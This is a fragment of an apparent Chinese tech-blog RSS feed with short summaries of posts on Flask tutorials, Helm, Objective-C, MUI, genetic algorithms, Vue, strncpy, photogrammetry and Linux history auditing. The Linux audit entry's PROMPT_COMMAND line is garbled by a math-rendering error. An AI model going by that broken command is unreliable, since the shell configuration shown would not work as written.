事实是，要求翻译诸多用户动态中的一条，并不是一个足够大的动作来要求整个页面的更新，如果翻译文本可以被动态地插入到原始文本下方，而剩下的页面保持原样，则用户体验更加出色。&#xA;实施实时自动翻译需要一些步骤。首先，我需要一种方法来识别要翻译的文本的源语言。我还需要了解每个用户的首选语言，因为我想仅为使用其他语言发表的动态显示“翻译”链接。当提供翻译链接并且用户单击它时，我需要将Ajax请求发送到服务器，服务器将与第三方翻译API联系。服务器将包含翻译后的文本的响应发送回去后，客户端javascript代码将把该文本动态地插入到页面中。您一定会注意到，这里有一些特殊的问题。我将逐一看看这些问题。&#xA;语言识别 第一个问题是确定帖子使用的语言。这并不是一门精确的科学，因为并非总是可以明确地检测一种语言，但是在大多数情况下，自动检测效果很好。在Python中，有一个称为guess_language的语言检测库，还算好用。该软件包的原始版本相当旧，并且从未移植到Python 3，因此我将安装一个支持Python 2和3的派生版本：&#xA;(venv) $ pip install guess-language_spirit 计划是将每个博客帖子都提供给这个包，以尝试确定语言。由于进行这种分析比较耗时，因此我不想在每次将帖子渲染到页面时重复进行此工作。我要做的是在帖子提交时，就设置帖子的源语言。然后检测到的语言将存储在posts表中。&#xA;第一步，向Post模型添加language字段：&#xA;app / models.py：将检测到的语言添加到Post模型。&#xA;class Post(db.Model): # ... language = db.Column(db.String(5)) 您还记得，每当数据库模型发生变化时，都需要生成数据库迁移：&#xA;(venv) $ flask db migrate -m &#34;add language to posts&#34; INFO [alembic.runtime.migration] Context impl SQLiteImpl. INFO [alembic.runtime.migration] Will assume non-transactional DDL.</description>
    </item>
    <item>
      <title>添加helm chart包源地址</title>
      <link>https://bchobby.github.io/posts/72c830b6aba80eec433f17ddc1c24f53/</link>
      <pubDate>Sun, 14 Mar 2021 10:31:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/72c830b6aba80eec433f17ddc1c24f53/</guid>
      <description>配置helm微软源地址&#xA;helm repo add stable http://mirror.azure.cn/kubernetes/charts/&#xA;检查配置源地址&#xA;helm repo list</description>
    </item>
    <item>
      <title>3 OC  属性和方法</title>
      <link>https://bchobby.github.io/posts/f14649d9cdb9e4e50a6c097e5e052361/</link>
      <pubDate>Sun, 14 Mar 2021 09:21:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f14649d9cdb9e4e50a6c097e5e052361/</guid>
      <description>1 OC 的属性的生成&#xA;@interface Student:NSObject { @public int _no; int _age; } @property (nonatomic,assign)int height; @end 当我们使用property 的时候，那么系统会自动的在其内部生成个属性&#xA;xcrun -sdk iphoneos clang -arch arm64 -rewrite-objc main.m -o main.cpp&#xA;然后发现student 的实现是&#xA;struct Student_IMPL {&#xA;struct NSObject_IMPL NSObject_IVARS;&#xA;int _no;&#xA;int _age;&#xA;int _height;&#xA;};&#xA;int main(int argc, const char * argv[]) {&#xA;@autoreleasepool {&#xA;// insert code here...&#xA;Student *stu1 = [[Student alloc]init];&#xA;[stu1 setHeight:5];&#xA;[stu1 height];&#xA;}&#xA;return 0;</description>
    </item>
    <item>
      <title>移动端开发框架mui之上拉刷新、下拉加载数据</title>
      <link>https://bchobby.github.io/posts/f0c09bc5989dd151ee1434c5d26c3d7b/</link>
      <pubDate>Sun, 14 Mar 2021 00:45:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f0c09bc5989dd151ee1434c5d26c3d7b/</guid>
      <description>MUI 官网：https://www.dcloud.io/mui.html MUI 文档：https://dev.dcloud.net.cn/mui/ui/ 演示地址：https://dcloud.io/hellomui/ （支持手机和电脑浏览器） 开发工具：https://www.dcloud.io/hbuilderx.html （Hbuilder X） 上拉刷新、下拉加载相关 api 参考：&#xA;https://dev.dcloud.net.cn/mui/pulldown/&#xA;https://dev.dcloud.net.cn/mui/pullup/&#xA;项目中上拉和下拉跟 mui api中的调用方式有所不同，这里以项目中使用的方式为例： 1、首先页面增加样式： &amp;lt;style&amp;gt; html, body { background-color: #efeff4; } .mui-bar~.mui-content .mui-fullscreen { top: 44px; height: auto; } .mui-pull-top-tips { position: absolute; top: -20px; left: 50%; margin-left: -25px; width: 40px; height: 40px; border-radius: 100%; z-index: 1000; } .mui-bar~.mui-pull-top-tips { top: 24px; } .mui-pull-top-wrapper { width: 42px; height: 42px; display: block; text-align: center; background-color: #efeff4; border: 1px solid #ddd; border-radius: 25px; background-clip: padding-box; box-shadow: 0 4px 10px #bbb; overflow: hidden; } .</description>
    </item>
    <item>
      <title>Flask Mega-Tutorial V2.0 第13章：I18n和L10n</title>
      <link>https://bchobby.github.io/posts/6e272cf3c3fb5f6f2ee8e515011058ab/</link>
      <pubDate>Sat, 13 Mar 2021 21:33:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e272cf3c3fb5f6f2ee8e515011058ab/</guid>
      <description>最近在Flask Web Development作者博客看到第二版Flask Mega-Tutorial已在2017年底更新，现翻译给大家参考，希望帮助大家学习flask。&#xA;这是Flask Mega-Tutorial系列的第十三章，其中我将告诉您如何扩展Microblog以支持多种语言。作为这项工作的一部分，您还将学习如何为flask命令创建自己的CLI扩展。&#xA;供您参考，以下是本系列文章的列表。&#xA;第1章：Hello, World！第2章：模板 第3章：Web表单第4章：数据库第5章：用户登录第6章：配置文件页面和头像第7章：错误处理第8章：关注与被关注第9章：分页第10章：电子邮件支持第11章：整容第12章：日期和时间第13章：I18n和L10n（本文）第14章：Ajax第15章：大型应用程序结构第16章：全文搜索第17章：在Linux上部署第18章：在Heroku上部署第19章：Docker容器上的部署第20章：一些JavaScript Magic第21章：用户通知第22章：后台工作第23章：应用程序编程接口（API） 注意1：如果您正在寻找本教程的旧版本，请在此处。&#xA;注意2：如果您想在此博客上支持我的工作，或者只是没有耐心等待每周的文章，我将提供完整的本教程版本，打包成电子书或视频集。欲了解更多信息，请访问courses.miguelgrinberg.com。&#xA;本章的主题是国际化和本地化，通常缩写为I18n和L10n。为了使我的应用程序对不说英语的人友好，我将实现一个翻译工作流程，该工作流程将在语言翻译人员的帮助下，允许我以多种语言向用户提供该应用。&#xA;本章的GitHub链接是：Browse，Zip，Diff。&#xA;Flask-Babel简介 您可能会猜到，有一个Flask插件，可以使翻译工作变得非常容易。该扩展名为Flask-Babel，可以使用pip安装：&#xA;(venv) $ pip install flask-babel Flask-Babel的初始化与大多数其他Flask插件一样：&#xA;app / __ init__.py：Flask-Babel实例。&#xA;# ... from flask_babel import Babel app = Flask(__name__) # ... babel = Babel(app) 作为本章的一部分，我将向你展示如何将应用翻译成西班牙语，因为我碰巧会这种语言。 我当然也可以与翻译机制合作来支持其他语言。为了跟踪支持的语言列表，我将添加一个配置变量：&#xA;config.py：支持的语言列表。&#xA;class Config(object): # ... LANGUAGES = [&#39;en&#39;, &#39;es&#39;] 我为此应用使用了两个字母的语言代码，但是如果您需要更具体一些，也可以添加国家/地区代码。例如，您可以使用en-US，en-GB并en-CA以不同的语言支持美国，英国和加拿大英语。&#xA;Babel实例提供了一个localeselector装饰器。 为每个请求调用装饰器函数，以选择用于该请求的语言翻译：&#xA;app / __ init__.py：选择最匹配的语言。&#xA;from flask import request # ... @babel.localeselector def get_locale(): return request.</description>
    </item>
    <item>
      <title>Flask Mega-Tutorial V2.0 第12章：日期和时间</title>
      <link>https://bchobby.github.io/posts/5d02c1403bc79f0953f2d057066b7728/</link>
      <pubDate>Sat, 13 Mar 2021 19:50:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d02c1403bc79f0953f2d057066b7728/</guid>
      <description>最近在Flask Web Development作者博客看到第二版Flask Mega-Tutorial已在2017年底更新，现翻译给大家参考，希望帮助大家学习flask。&#xA;这是Flask Mega-Tutorial系列的第十二章，其中我将告诉你如何以适配所有用户的方式处理日期和时间，无论他们身处地球上的何处。&#xA;供您参考，以下是本系列文章的列表。&#xA;第1章：Hello, World！第2章：模板 第3章：Web表单第4章：数据库第5章：用户登录第6章：配置文件页面和头像第7章：错误处理第8章：关注与被关注第9章：分页第10章：电子邮件支持第11章：整容第12章：日期和时间（本文）第13章：I18n和L10n第14章：Ajax第15章：大型应用程序结构第16章：全文搜索第17章：在Linux上部署第18章：在Heroku上部署第19章：Docker容器上的部署第20章：一些JavaScript Magic第21章：用户通知第22章：后台工作第23章：应用程序编程接口（API） 注意1：如果您正在寻找本教程的旧版本，请在此处。&#xA;注意2：如果您想在此博客上支持我的工作，或者只是没有耐心等待每周的文章，我将提供完整的本教程版本，打包成电子书或视频集。欲了解更多信息，请访问courses.miguelgrinberg.com。&#xA;显示日期和时间，在Microblog应用中，是我长期被忽略的一个方面。 直到现在，我也只是让Python渲染了User模型中的datetime对象，并且完全忽略了Post模型中的datetime对象。&#xA;本章的GitHub链接是：Browse, Zip, Diff。&#xA;时区地域 使用服务器端的Python渲染日期和时间来展示到用户的浏览器并非一个好主意。考虑如下的例子， 我在2017年9月28日下午4点06分撰写本文。我身处的时区是PDT(UTC-7)，在Python解释器中运行，得到如下信息：&#xA;&amp;gt;&amp;gt;&amp;gt; from datetime import datetime &amp;gt;&amp;gt;&amp;gt; str(datetime.now()) &#39;2017-09-28 16:06:30.439388&#39; &amp;gt;&amp;gt;&amp;gt; str(datetime.utcnow()) &#39;2017-09-28 23:06:51.406499&#39; datetime.now()调用返回我所处位置的本地时间，而datetime.utcnow()调用则返回UTC时区的时间。如果我可以让世界各地的人与我同时运行上述代码，那么datetime.now()函数将为每个人返回不同的结果，但是无论在什么位置，datetime.utcnow()函数总是返回相同的时间。那么，您认为哪一种更适合在用户遍布全球的Web应用中使用呢？&#xA;很明显，服务器必须管理统一且独立于位置的时间。如果这个应用增长到需要在全球不同地区部署多个生产服务器的地步，我就不希望每个服务器根据各自时区将时间戳的写入数据库中，因为这将使统一处理这些时间变得不可能。由于UTC是最常用的统一时区，并且在datetime类中受支持，因此我将使用UTC 。&#xA;但这样的话，存在一个严重的问题。对处于不同时区的用户，如果他们看到的是UTC时间，将很难确定发帖的时间。他们需要提前知道看到的是UTC时间，以便他们可以在心理上将UTC时间调整到自己时区的时间。想象一下，在PDT时区中的某个用户在下午3:00发布某个内容，然后立即看到该帖子的显示时间是UTC时间10:00 pm，或更确切地说是22:00，这样时间就太混乱了。&#xA;从服务器的角度来看，将时间戳标准化为UTC是很有意义的，但这给用户带来了可用性问题。本章的目的是要解决该问题，同时保持在服务器中使用UTC时区管理所有的时间戳。&#xA;时区转换 直接解决该问题的方法是将存储的所有时间戳，由UTC时间转换为每个用户的本地时间。这样一来，服务器可以继续使用UTC来保持时区的一致性，同时为每个用户量身定制的即时转换又解决了可用性问题。这个解决方案的棘手部分，就是知道每个用户的位置。&#xA;许多网站都有一个配置页面，用户可以在其中指定时区。这将需要我添加一个带表单的新页面，在该表单中可以向用户显示带有时区列表的下拉列表。也可以在首次注册时，要求用户输入时区，作为他们注册的一部分。&#xA;虽然这是解决问题的一种不错的方案，但要求用户输入他们已经在操作系统中配置的信息有点奇怪。如果我能从他们的计算机上获取时区设置，似乎会更有效率。&#xA;事实证明，Web浏览器可以获得用户的时区，并通过标准的日期和时间JavaScript API暴露该时区。实际上，有两种方法可以利用可通过JavaScript获得的时区信息：&#xA;“老派”方法是让在用户首次登录应用程序时，网络浏览器以某种方式将时区信息发送到服务器。这可以通过Ajax调用来完成，或者更简单地通过meta refresh标签来完成。一旦服务器知道了时区，就可以将其保留在用户会话中，或将其写入数据库中的用户条目，然后在渲染模板时使用其调整所有时间戳。“新派”方法是不更改服务器中的任何内容，而在客户端中使用JavaScript进行从UTC到本地时区的转换。 这两个选项都是有效的，但是第二个选项具有很大的优势。知道用户的时区并不总是足以以用户期望的格式显示日期和时间。浏览器还可以访问系统区域设置配置，该配置指定诸如AM / PM与24小时制，DD / MM / YYYY与MM / DD / YYYY之类的东西，以及许多其他文化或地区样式。&#xA;如果这还不够，那么新派方法还有另一个优势，就是用一个开源库可以完成所有这些工作！&#xA;引入Moment.js和Flask-Moment Moment.js是一个小型的JavaScript开源库，它将日期和时间转换成目前可以想象到的所有格式。不久前，我创建了Flask-Moment，这是一个小的Flask插件，可以很轻松地将moment.js集成到您的应用程序中。&#xA;因此，让我们从安装Flask-Moment开始：&#xA;(venv) $ pip install flask-moment 使用常规方法添加该插件到Flask中：</description>
    </item>
    <item>
      <title>GA算法</title>
      <link>https://bchobby.github.io/posts/6c16257da4724cc12976d2817ad2a42b/</link>
      <pubDate>Sat, 13 Mar 2021 19:30:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c16257da4724cc12976d2817ad2a42b/</guid>
      <description>遗传算法(genetic algorithm)是模拟达尔文生物进化论的自然选择和遗传学机理的生物进化过程计算模型，是一种通过模拟自然进化过程搜索最优解的方法。下面我将分享自己在做GA模型的心得与困惑。 先来整理一下GA的基本步骤：&#xA;随机生成一定数量的种群。对种群的个体进行编码与评估。选用合适的方法对现有种群中的个体做出选择。对选择出来的个体进行“交叉”并获得新的个体。对下一代进行”突变“操作。 第一步:随机生成一定数量的种群。首先应该构思存储个体的数据结构。我选择的是嵌套的列表(list)。一个个体的形式为[[个体],[编码],评估值],一个种群则是[[[个体1],[编码1],评估值1],[[个体2] ,[编码2],评估值2],[[个体3],[编码3],评估值3],...]。采用随机的方式生成种群/个体： &#39;&#39;&#39; popnum:单位种群中个体数量,cistern:存储单个种群的数据池,lbound,ubound:个体的取值范围 precision:取值的精度,n:问题的维度 &#39;&#39;&#39; def initpop(): cistern=[] for i in range(popnum): particle=[] for j in range(n): particle.append(round(random.uniform(lbound,ubound),precision)) cistern.append([particle,[],None]) return cistern 第二步:选择合适的编码方案以及评估函数。我采用的是经典的二进制编码形式，这样的编码有个好处是可以利用Python自带的bin()函数快速实现,但是一般情况下各个维度的数字是需要编在一起的，而bin()函数不能保证二进制数值的长度，往往导致在转化较小数字的时候其二进制长度过短，即便是将多个维度编码后的二进制数值简单拼接，我们也需要在拼接处设置标志位，这样才能在“交叉”过后将各维度分开，如果不设标志位而随机分割，那么将会在一定层面上导致“二次交叉”或“自我交叉”，这样便失去了“交叉”的意义，为了解决这一问题我们可以采用 format()函数，也可以对各个维度分别编码，分别“交叉”，在这里我选择后者。对于评估函数，我采用问题本身，即目标函数的函数值。&#xA;def D2B(num): #编码(十进制2二进制) return bin(round((num-lbound)*(pow(2,l)-1)/(ubound-lbound))) def B2D(num): #解码(二进制2十进制) return round(lbound+(ubound-lbound)/(pow(2,l)-1)*int(num,2),2) def trans(cistern): #对种群进行二进制编码 for i in cistern: for j in range(n): i[1].append(D2B(i[0][j])) return cistern def fitness(cistern): #对种群进行评估 for i in cistern: i[2]=fit(i[0]) return cistern 第三步:选用合适的方法对现有种群中的个体做出选择。个体选择的方法有很多，轮盘赌、 锦标赛选择、排名选择，等。在这里我选择最为简单的轮盘赌。由于函数对于种群池的修改是直接地 所以我将采用“一夫一妻制”，即三个父代个体不能产生两个子代个体，这也是为了避免多余“交叉”。&#xA;def select(cistern): reservoir=[] choice=[] resualt={} s=0 for i in cistern: #将种群中所有的适应值相加 s=s+i[2] for j in cistern: #求每个个体的占比 reservoir.</description>
    </item>
    <item>
      <title>异步组件的用法</title>
      <link>https://bchobby.github.io/posts/43af22558aedd49503d8ca633ed4e652/</link>
      <pubDate>Sat, 13 Mar 2021 17:54:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/43af22558aedd49503d8ca633ed4e652/</guid>
      <description>随着项目越来大，性能问题也越来越凸显出重要。在vue项目中，异步组件的使用，有利于项目的性能优化、提高页面的加载速度。&#xA;一、什么是异步组件&#xA;异步组件就是定义的时候什么都不做，只在组件需要渲染（组件第一次显示）的时候进行加载渲染并缓存，缓存是以备下次访问。&#xA;结合vue的源码分析，异步组件的本质是：实现了2次渲染，先渲染成注释节点（占位），当组件渲染成功后，调用forceRender重新渲染&#xA;二、异步组件的三种方法&#xA;1、工厂函数实现&#xA;在大型应用中，我们可能需要将应用分割成小一些的代码块，并且只在需要的时候才从服务器加载一个模块。为了简化，Vue 允许你以一个工厂函数的方式定义你的组件，这个工厂函数会异步解析你的组件定义。Vue 只有在这个组件需要被渲染的时候才会触发该工厂函数，且会把结果缓存起来供未来重渲染。&#xA;这个特殊的 require 语法将会告诉 webpack自动将你的构建代码切割成多个包，这些包会通过 Ajax 请求加载&#xA;2、promise&#xA;把 webpack 2 和 ES6 语法加在一起，我们可以这样使用动态导入：&#xA;结合源码，import返回的是一个promise对象。&#xA;3、高级写法&#xA;异步加载，就会存在加载过程（正在加载中）、以及加载失败等异常情况。高级用法提供了加载、失败、timeout、加载组件四种状态&#xA;const AsyncComponent = () =&amp;gt; ({&#xA;// 需要加载的组件 (应该是一个 Promise 对象)&#xA;component: import(’./MyComponent.vue’),&#xA;// 异步组件加载时使用的组件&#xA;loading: LoadingComponent,&#xA;// 加载失败时使用的组件&#xA;error: ErrorComponent,&#xA;// 展示加载时组件的延时时间。默认值是 200 (毫秒)&#xA;delay: 200,&#xA;// 如果提供了超时时间且组件加载也超时了，&#xA;// 则使用加载失败时使用的组件。默认值是：Infinity&#xA;timeout: 3000&#xA;})</description>
    </item>
    <item>
      <title>自定义表达式计算</title>
      <link>https://bchobby.github.io/posts/1f3ff42f23ece1b6c8ee5b2dd457e01c/</link>
      <pubDate>Sat, 13 Mar 2021 15:24:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f3ff42f23ece1b6c8ee5b2dd457e01c/</guid>
      <description>直接上干货，前端、后台实现自定义表达式计算&#xA;从网络整理而来，经过优化形成&#xA;/** * 运算相关js */ /**计算没有括号的表达式的值(操作符限定为&#39;+&#39;、&#39;-&#39;、&#39;*&#39;、&#39;/&#39;) */ function calcExpressionWithoutQuote(expression) { if ((expression.indexOf(&#39;(&#39;) &amp;gt; -1) || (expression.indexOf(&#39;)&#39;) &amp;gt; -1)) { return calcExpression(expression); } var operators = []; var nums = []; var lastOperatorIndex = -1; for (var i = 0; i &amp;lt; expression.length; i++) { var charAtIndex = expression.charAt(i); if (isOperatorChar(charAtIndex)) { operators[operators.length] = charAtIndex; nums[nums.length] = expression.substring(lastOperatorIndex + 1, i); lastOperatorIndex = i; } if (i == (expression.length - 1) &amp;amp;&amp;amp; lastOperatorIndex &amp;lt; i) { nums[nums.</description>
    </item>
    <item>
      <title>Smart3D倾斜摄影建模教程</title>
      <link>https://bchobby.github.io/posts/2e21e4c42047224b147481d5d3d40d86/</link>
      <pubDate>Sat, 13 Mar 2021 13:34:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e21e4c42047224b147481d5d3d40d86/</guid>
      <description>Smart3D倾斜摄影建模教程 常见硬件设备 大疆精灵4RTK 大疆精灵4RTK可谓是倾斜摄影界最让人省心的设备了，灵活轻便精准是其代名词，机载RTK的厘米级定位更是达到了小区域免相控的行业先进水平。主要适用于小范围建模，但其缺点也较为明显，5472*3648的照片分辨率，让数据采集效率受到了一定限制。&#xA;大疆M600+第三方五目倾斜相机 早期的一些第三方倾斜相机多搭载于大疆稳定的M600平台之上，例如国内最早的红鹏五目相机、鸿鹄五目相机，以及后来者居上的睿铂相机和赛尔相机。早期的五目倾斜相机使用索尼QX100或QX1系列，目前市场主流的五目相机多使用索尼a5100半画幅微单相机。使用DJI GSpro航线规划软件，曾经在17-18年间也是风靡一时。&#xA;大疆M300+第三方五目倾斜相机 由于大疆M600的航时问题（搭载五目只可以飞行20分钟左右），长航时M300在M200的基础上应运而生，也许他就是为这个奥运火炬手而生的。目前比较主流的搭配是M300+赛尔102S，整体浑然一体，故障率较前两年有明显提升，性能也更符合市场趋势。&#xA;SMART3D倾斜摄影建模流程 Mon 06 Mon 13 Mon 20 导入区块 空三运算 刺相控点 提交重建 倾斜摄影建模 Smart3D建模流程 一、新建项目 smart3d安装后的程序及文件: 1、Acute3D Viwer：三维模型可视化软件，可打开.s3c或.3mx格式的文件，并可对三维模型进行简单量测；&#xA;2、ContextCapture Center Engine：引擎，在空三运算及模型重建过程中必须打开，是各种数据的搬运工；&#xA;3、ContextCapture Center Master：主程序，负责建模过程中各步骤的可视化及文件框架的管理；&#xA;4、ContextCapture Center Settings：更改引擎工作目录，常用于集群建模中更改任务序列目录；&#xA;新建工程步骤如下所示：&#xA;二、导入区块 导入区块的方式大致分为两种：（1）照片直接导入；（2）使用工程文件表格导入；&#xA;一般使用大疆相机拍出的照片中已包含GPS及相机参数，可直接导入；第三方五目相机则多是使用工程文件表格导入，表格如下所示：&#xA;工程文件一般可以通过五目厂家上位机直接生成，里面包含了相机参数信息，照片索引与POS对应关系，坐标系统等信息。&#xA;三、空三运算 区块导入成功之后，即可提交空三运算，空三运算一般按照默认参数进行空三运算，提交完成后打开引擎后开始进行空三解析。空三结算结果如下所示：&#xA;四、导入相控点及刺点 外业人员直接从中海达或华测手簿中导出的像控点及检查点一般包含的信息比较多，内业处理人员需要选择有效数据进行保存，基本格式如下所示：&#xA;导入像控点如下图所示：&#xA;像控点导入以后，开始刺点。所有点刺完后，再次进行空三运算。&#xA;五、重建及成果展示 空三合格后即可提交重建任务。&#xA;选择合适的坐标系统，根据重建区域的KML选择重建的边界，根据电脑内存配置情况进行合适的规则立体切块，参数配置完之后即可提交重建。我们选择了输出格式为S3C的可视模型输出。提交完成后就是静静的等待…&#xA;模型成果展示给大家：&#xA;效果还不错哦&#xA;本次分享就到这里，不足之处还请大家批评指正！</description>
    </item>
    <item>
      <title>【C语言】strncpy详解</title>
      <link>https://bchobby.github.io/posts/0daee54c1a81c9016d8aa875d5a0fbe2/</link>
      <pubDate>Fri, 12 Mar 2021 23:50:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0daee54c1a81c9016d8aa875d5a0fbe2/</guid>
      <description>1.不考虑内存重叠的strncpy 网上很多博客也写了这个函数，面试也常常会遇到，但是，我发现网上的很多代码都是有问题的，我们先看下大部分网上博客的实现：&#xA;char *strncpy(char *dst, const char *src, size_t len) { assert(dst != NULL &amp;amp;&amp;amp; src != NULL); char *res = dst; while (len--) { *dst++ = *src++; } return res; } 看着好像没啥问题，但是，当src的长度小于len呢？这份代码没有处理这个问题。当src的长度小于len时，应该如何处理？《C和指针》p179给出的答案是：&#xA;“ 和strcpy一样，strncpy把源字符串的字符复制到目标数组。然而，它总是正好向dst写入len个字符。如果strlen(src)的值小于len，dst数组就用&#xA;额外的NUL字节填充到len长度，如果strlen(src)的值大于或等于len，那么只有len个字符被复制到dst中。”&#xA;注意！它的结果将不会以NUL字节结尾。（NUL即‘\0’）.&#xA;由此可见，我们还需要判断strlen(src)是否小于len，如果是，还需要在dst后面添加NUL，因此，正确的代码应该如下：&#xA;char *strncpy(char *dest, const char *src, size_t len) { assert(dest != NULL &amp;amp;&amp;amp; src != NULL); char *res = dest; int offset = 0; if (strlen(src) &amp;lt; len)//src长度小于len { offset = len - strlen(src); len = strlen(src); } while (len--) { *dest++ = *src++; } while (offset--) { *dest++ = &#39;\0&#39;; } return res; } 使用这个函数，尤其需要注意，不要出现len&amp;gt;strlen(dst)的情况，如果len&amp;gt;strlen(dst)，那么会破坏dst后面的内存：</description>
    </item>
    <item>
      <title>2021-03-12</title>
      <link>https://bchobby.github.io/posts/9e3faf0a5becfde53431c71e71ab945c/</link>
      <pubDate>Fri, 12 Mar 2021 18:49:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e3faf0a5becfde53431c71e71ab945c/</guid>
      <description>vscode用tab键无法自动补全代码 点左下角的设置，在输入框中输入tab，修改默认值即可，如下图：&#xA;出现问题的时候我去查找，发现很多都让安装auto close tag这个插件，我后面安装了也没啥用，照样无法补全。有看到大哥说vscode本来就内嵌了emmet，可以自动补全，不需要安装插件。后面解决了，我卸载了auto close tag这个插件试试有没有影响，发现也没啥影响，照样可以补全。</description>
    </item>
    <item>
      <title>linux开启history日志审计，位置在var/message</title>
      <link>https://bchobby.github.io/posts/fee3fbf22d59e14712c5ee0f1d74f03f/</link>
      <pubDate>Fri, 12 Mar 2021 17:50:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fee3fbf22d59e14712c5ee0f1d74f03f/</guid>
      <description>1.配置 /etc/profile 配置文件&#xA;2.export PROMPT_COMMAND=’{ msg=$(history 1 | { read x y; echo KaTeX parse error: Expected &#39;EOF&#39;, got &#39;}&#39; at position 4: y; }̲);logger &#34;[euid…(whoami)]&#34;: ( w h o a m i ) [ p w d ] &#34; (who am i) [pwd] &#34; (whoami)[pwd]&#34;msg&#34;;}’&#xA;添加在export下面。</description>
    </item>
    <item>
      <title>SpringBoot整体流程图解</title>
      <link>https://bchobby.github.io/posts/eb106ba6bb699440604bea0a3f78d3b5/</link>
      <pubDate>Fri, 12 Mar 2021 16:54:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb106ba6bb699440604bea0a3f78d3b5/</guid>
      <description>之前分析springboot的时候，化了一些流程图，害怕忘了，这次贴在这上面。</description>
    </item>
    <item>
      <title>微信小程序开发笔记（三）--- 扫描二维码（复制即用）</title>
      <link>https://bchobby.github.io/posts/25a2f85a81c615df208997eebcf0720a/</link>
      <pubDate>Fri, 12 Mar 2021 16:25:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25a2f85a81c615df208997eebcf0720a/</guid>
      <description>前言 本文为微信小程序开发笔记，现学现卖，正在学习中。 如有发现问题或者发现有什么不足的地方，请大佬们多多指教！！！（开发自己的微信小程序中……） 实现效果&#xA;点击图片，开始扫描二维码，然后扫描成功后调用方法。WXML部分 &amp;lt;view class=&#39;form-list&#39;&amp;gt; &amp;lt;input type=&#39;text&#39; value=&#39;{{scanCodeMsg}}&#39;&amp;gt;&amp;lt;/input&amp;gt; &amp;lt;image class=&#39;scan&#39; bindtap=&#39;scanCode&#39; src=&#39;https://bchobby.github.io/images/scanCode.png&#39; mode=&#39;widthFix&#39;&amp;gt;&amp;lt;/image&amp;gt; &amp;lt;/view&amp;gt; JS部分 data: { scanCodeMsg: &#34;&#34;, }, scanCode: function() { var that = this; wx.scanCode({ //扫描API success(res) { //扫描成功 console.log(res) //输出回调信息 that.setData({ scanCodeMsg: res.result }); wx.showToast({ title: &#39;成功&#39;, duration: 1000 }) } }) }, 代码示例（参考学习用） // 允许从相机和相册扫码 wx.scanCode({ success(res) { console.log(res) } }) // 只允许从相机扫码 wx.scanCode({ onlyFromCamera: true, success(res) { console.log(res) } }) 本文参考：http://caibaojian.com/wx-scancode.html，向小编表示感谢！</description>
    </item>
    <item>
      <title>数字信号处理——采样定理</title>
      <link>https://bchobby.github.io/posts/86d54939503d409cbf1a8e0e6d700025/</link>
      <pubDate>Fri, 12 Mar 2021 14:50:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/86d54939503d409cbf1a8e0e6d700025/</guid>
      <description>采样频率：单位时间（一般一秒）内的采样点数&#xA;带宽：指的是信号的主体占据的频率范围&#xA;频率分辨率：分辨两个不同频率信号的最小间隔f_{0} =\frac{1}{T} ,所以信号越长，分辨率越好，T就是采样前模拟信号的时间长度&#xA;根据采样定理，最低的采样频率必须是信号频率的两倍；也就是说如果给定了采样频率，则信号频率是采样频率的一半，这时称这个信号频率为奈奎斯特频率。如果信号频率超过了奈奎斯特频率，就会发生畸变。比如，风扇在转速较高的时候，人眼看来会出现倒转的情况，这就是因为风扇的转动频率超过了人眼的采样频率，出现了频谱混叠。&#xA;并不是采样点数越多，分辨率就越高，因为T是确定的。只有增加点数的同时增加长度，才能提高分辨率。要注意在DFT补零的过程中是没有增加有效数据的长度的。&#xA;带通采样定理：带通信号的频谱处在某个频段之内，而不是在零频附近。并且通频带的中心频率一般都远大于带宽。如果按照采样定理采样，采样频率就会变得无意义得高。为了减少采样频率，提出带通采样定理如下：当信号的最高频率是带宽的整数倍时，取采样频率为2倍带宽即 f s = 2 Δ f 0 f_{s} =2\Delta f_{0} fs​=2Δf0​若最高频率不是带宽的整数倍，就将通带延伸一段使它变成整数倍。则抽样频率的取值范围为 2 Δ f 0 ≤ f s &amp;lt; 4 Δ f 0 2\Delta f_{0}\leq f_{s}&amp;lt;4\Delta f_{0} 2Δf0​≤fs​&amp;lt;4Δf0​</description>
    </item>
    <item>
      <title>3559术语</title>
      <link>https://bchobby.github.io/posts/4912a23d149c9c5df3df20c9c437b285/</link>
      <pubDate>Fri, 12 Mar 2021 10:52:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4912a23d149c9c5df3df20c9c437b285/</guid>
      <description>6-DOF-DIS 防抖 6-Degree Of Freedom-Digital Image Stabilization）&#xA;LDC 镜头畸变校正 Lens distortion correction BAS 即Bayer域缩放 Bayer scaling， bayer格式&#xA;GDC 几何畸变矫正 Geometric Distortion Correction AVSP 全景拼接（Any View Stitching Processing）&#xA;VGS 视频图形系统（Video Graphics System）&#xA;WDR 宽动态&#xA;VI里面的VS 垂直同步，帧同步，vertical synchronization VI VPSS 在线 离线 理解&#xA;3DNR (3D Denoising) 3D去噪&#xA;表2-3 VI和VPSS的工作模式说明&#xA;视频采集单元（VIU&#xA;HI_MPI_ISP_SetSnsSlaveAttr&#xA;从模式sensor 需要Hi3559AV100 其提供行同步XHS 和场同步信号XVS，在这两个信&#xA;号的控制下进行曝光与数据读出，这个接口主要配置同步信号发生模块，使其输出&#xA;sensor 要求的行场时序。此接口一般在sensor 库里调用。&#xA;GME 目前常规的防抖技术为混合GME(Global Motion Estimation)算法技术和陀螺仪算法技术 一种图像防抖方法、装置、电子设备及存储介质与流程&#xA;sample_yuv.c&#xA;HI_MPI_ISP_SetRegister&#xA;海思AE 外部寄存器为(0x300000+s32Id*0x1000)。&#xA;DRC&#xA;几何畸变矫正（Geometric Distortion Correction，以下简称GDC</description>
    </item>
    <item>
      <title>php调用seluem,wa4e/names.php at master · csev/wa4e · GitHub</title>
      <link>https://bchobby.github.io/posts/e33783ab3ded4dd692a24177f7edf7c5/</link>
